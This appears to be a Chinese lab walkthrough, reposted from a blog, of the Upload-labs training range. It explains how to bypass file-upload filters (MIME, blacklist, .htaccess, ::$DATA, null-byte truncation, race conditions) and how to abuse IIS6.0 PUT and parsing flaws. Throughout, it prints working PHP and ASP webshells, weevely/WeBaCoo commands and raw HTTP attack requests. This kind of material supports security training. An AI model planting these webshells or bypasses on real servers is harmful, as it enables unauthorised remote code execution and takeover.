06 文件上传

Upload-labs靶场

Pass-01:
一、绕过JS验证
1、BurpSuite剔除响应JS
对于JS前端验证,直接删除掉JS代码之后就可以绕过JS验证。
BurpSuite中Proxy-->Options-->Remove all JavaScript
2、浏览器审计工具剔除JS
利用浏览器的审查工具剔除JS之后,保存为新文件然后进行文件上传
3、上传Webshell,菜刀连接
一句话木马: php <?php @eval($_POST["cmd"]); ?>

在菜刀中输入上传地址和密码cmd,即可连接成功,进入后台。

Pass-02:
二、文件上传之绕过MIME-Type验证
1、MIME-Type介绍:
MIME多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名以及一些媒体文件打开方式。
2、验证MIME-Type代码分析:
查看源代码分析,使用$_FILE['upload_file']['type']获取上传文件的MIME-Type类型。其中upload_file是在表单中定义的

3、Burpsuite绕过MIME-Type验证:
利用Burpsuite工具截断HTTP请求,在Repeater重放修改MIME-Type类型为允许的类型绕过验证。


4、上传webshell,使用中国菜刀连接

6-3.文件上传_绕过黑名单验证
1)基于文件后缀名验证介绍
对于文件上传模块来说,尽量避免上传可执行的脚本文件。为了防止上传脚本需要设置对应的验证方式。最简单的就是设置文件后缀名验证。
基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
2)基于黑名单验证代码分析
对于黑名单中的后缀名筛选。绕过黑名单可以通过寻找"漏网之鱼",寻找某些可以被作为脚本执行同时也不在黑名单中。
3)BurpSuite绕过黑名单验证
Pass-03
利用BurpSuite工具截断HTTP请求,利用Intruder模块进行枚举后缀名,寻找黑名单中没有过滤的后缀名。
4)上传webshell菜刀连接
一句话木马:php <?php @eval($_POST["pass"]); ?>

6-4.文件上传-绕过黑名单验证(.htaccess)
1).htaccess文件介绍
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目前所有文件都使用PHP解析,那么无论上传任何文件,只有文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
2)配置文件http.conf
在Apache中如果需要启动.htaccess,必须在http.conf中设置AllowOverride All
3)审计黑名单过滤代码
Pass-04
在黑名单中,没有对.htaccess进行过滤,可以直接上传.htaccess来设置使用php解析任意文件。
文件内容:SetHandler application/x-httpd-php
4)制作图片phpinfo探针并上传
使用文本编辑工具写入php代码:
<?php
phpinfo();
?>
保存为1.jpg进行上传即可,再进行访问。

6-5.文件上传-绕过黑名单验证(大小写绕过)
1)大小写绕过原理
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和TeSt.PHP就是不一样的。
2)基于黑名单验证的代码分析
Pass-05
分析黑名单验证代码,可以清晰的看出,黑名单中增加了.htaccess的验证,但是缺少了对上传文件名获取的小写转换。
3)直接修改后缀名PhP上传文件
文件后缀名不一定必须在Burpsuite截断的HTTP请求中修改,可以直接修改文件后缀名进行上传。
4)WeBaCoo上传Webshell
WeBaCoo生成Webshell: webacoo -g -o a.php
上传webshell
连接webshell:webacoo -t -u webshell地址

6-6.文件上传-绕过黑名单验证(空格绕过)
1)空格绕过原理
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Burpsuite截断HTTP请求之后,修改对应的文件名 添加空格。
2)基于黑名单验证代码分析
Pass-06
经过代码分析可以看到代码中没有对上传文件的文件名做去空格处理。存在添加空格绕过黑名单的问题。
3)Burpsuite绕过黑名单验证
利用Burpsuite工具截断HTTP请求,对上传的文件名后加空格。
4)webshell生成与上传
WeBaCoo生成Webshell: webacoo -g -o a.php
Burpsuite截断HTTP请求 修改对应的文件名,添加空格
连接webshell:webacoo -t -u webshell地址

6-7.文件上传-绕过黑名单验证(.号绕过)
1).号绕过原理
windows系统下,文件后缀名最后一个点会被自动去除。
例如:
windows下新建一个1.php.文件,查看。
2)基于黑名单验证代码分析
Pass-07
查看代码分析其中缺少去除文件名最后边点的处理,可以利用windows系统特性,绕过黑名单。
3)Burpsuite绕过黑名单验证
利用Burpsuite工具截断HTTP请求,上传文件名加 . 绕过上传。
4)生成并上传wenshell
使用weevely生成webshell并上传。
1、生成: weevely generate 密码 路径 文件名
2、上传
3、连接:weevely shell文件地址 密码

6-8.文件上传-绕过黑名单验证(特殊符号)
1)特殊符号绕过原理
windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
例如:
在windows系统下新建一个文件名为1.php::$DATA的文件,查看效果。但是在windows下新建的文件名中包含特殊符号不能成功新建。
2)基于黑名单验证代码分析
Pass-08
分析以下代码,发现没有黑名单过滤掉::$DATA.
3)直接上传1.php::$DATA
4)上传第三方webshell
上传网络上公开的一些webshell

6-9.文件上传-绕过黑名单验证(路径拼接绕过)
1)路径拼接绕过原理
在没有对上传的文件进行重命名的情况下,用户可以自定义文件名在服务器中上传新建,就会造成对应的绕过黑名单。
例如: 用户新建 1.php.+空格+.
deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为1.php.。利用Windows自动去除最后一个点,导致成功上传1.php。
2)基于黑名单验证代码分析
对代码进行分析,可得上传后的文件没有经过随机化重命名,直接保存在服务器上。
3)修改文件名,绕过黑名单验证
Pass-09
在kali linux下修改文件名,上传1.php. .文件
4)上传小WEBSHELL,大Webshell
上传小webshell,以绕过上传过程中对文件大小等限制,从而能够更加有效上传大webshell。

6-10.文件上传-绕过黑名单验证(双写绕过)
1)双写绕过原理
代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过。
2)基于黑名单验证代码分析
str_ireplace()函数替换字符串中的一些字符(不区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是一个数组,那么它将返回一个数组。
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换。
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数不区分大小写。请使用str_replace()函数来执行区分大小写的搜索。
注释:该函数时二进制安全的。
3)绕过黑名单验证
Pass-10
直接将php文件后缀名修改为pphphp
4)上传webshell
小webshell转义解决:修改webshell代码如下。


渗透攻击红队百科全书

6-11.文件上传-绕过白名单验证(00截断绕过)
1)00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
在PHP5.3之后的版本中完全修复了00截断。并且00截断受限于GPC,addslashes函数。
Pass-11
2)GET型00截断
GET型提交的内容会被自动进行URL解码。
注意:一定要关闭GPC,否则无法成功。
3)POST型00截断
在POST请求中,%00不会被自动解码,需要在16进制中修改00.
4)一句话代码执行webshell
使用php中的函数system执行GET提交的参数。
<?php
if($_GET){
$cmd=$_GET["cmd"];
system($cmd);
}else{
echo "no cmd";
}
?>

6-12.文件上传-图片webshell上传
1)图片webshell制作
在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
针对这种情况可以直接新建1.jpg,其中的代码内容如下
GIF98A
<?php
phpinfo();
?>
2)上传图片webshell文件
将制作好的图片webshell上传到服务器
其中可能Content-Type验证。修改为image/gif或image/jpg 符合当前文件类型的MIME
Pass-13
3)文件包含漏洞代码分析
在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。
<?php
if($_GET){
include($_GET["file"])
}
else{
echo "not get args file";
}
?>
4)结合文件包含输出phpinfo
利用存在文件包含的PHP页面,包含上传的图片webshell,从而触发webshell,输出对应的phpinfo

6-13.文件上传-竞争条件
1)文件上传过程介绍
文件上传过程:服务器获取文件-->保存上传临时文件-->重命名移动临时文件
2)竞争条件原理介绍
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');
?>
3)竞争条件代码分析
先进行上传,后进行判断与删除。利用时间差进行webshell上传。
Pass-17
4)竞争条件文件上传利用
提前不断访问代码文件,然后上传,最终使用菜刀连接一句话webshell
python发送http请求:
import requests
while True:
requests.get("路径")

6-14.中间件解析漏洞-IIS6.0
1)IIS6.0解析漏洞介绍
1、当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件解析。
<%=NOW()%>
2、当文件*.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。
微软目前也没有推出补丁,不认为是一个漏洞。
下面在IIS6.0中演示这两个解析漏洞
2)IIS6.0 PUT上传原理
webdav基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法。
1、探测是否存在IIS PUT漏洞:
OPTIONS / HTTP1.1
Host:www.xxx.com
2、上传txt文本文件
PUT /a.txt HTTP1.1
Host:www.xxx.com
Content-Length:30

<%eval request("chopper")%>
3、通过Move或Copy重名
COPY /a.txt HTTP1.1
Host:www.xxx.com
Destination:http://www.xxx.com/cmd.asp
4、删除
DELETE /a.txt HTTP1.1
Host:www.xxx.com
3)IIS6.0 PUT上传探测
利用nikto探测:nikto -h IP地址
4)IIS6.0 PUT上传利用
利用Burpsuite进行IIS PUT漏洞利用。先OPTIONS探测、PUT、MOVE、DELETE

6-15.IIS6.0解析漏洞及修复
1)IIS6.0 解析文件类型
IIS6.0默认的可执行文件除了asp还包含这三种:
/test.asa
/test.cer
/test.cdx
2)IIS6.0 文件解析漏洞修复方案
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹

原文地址:https://www.cnblogs.com/Ben-john/p/13829746.html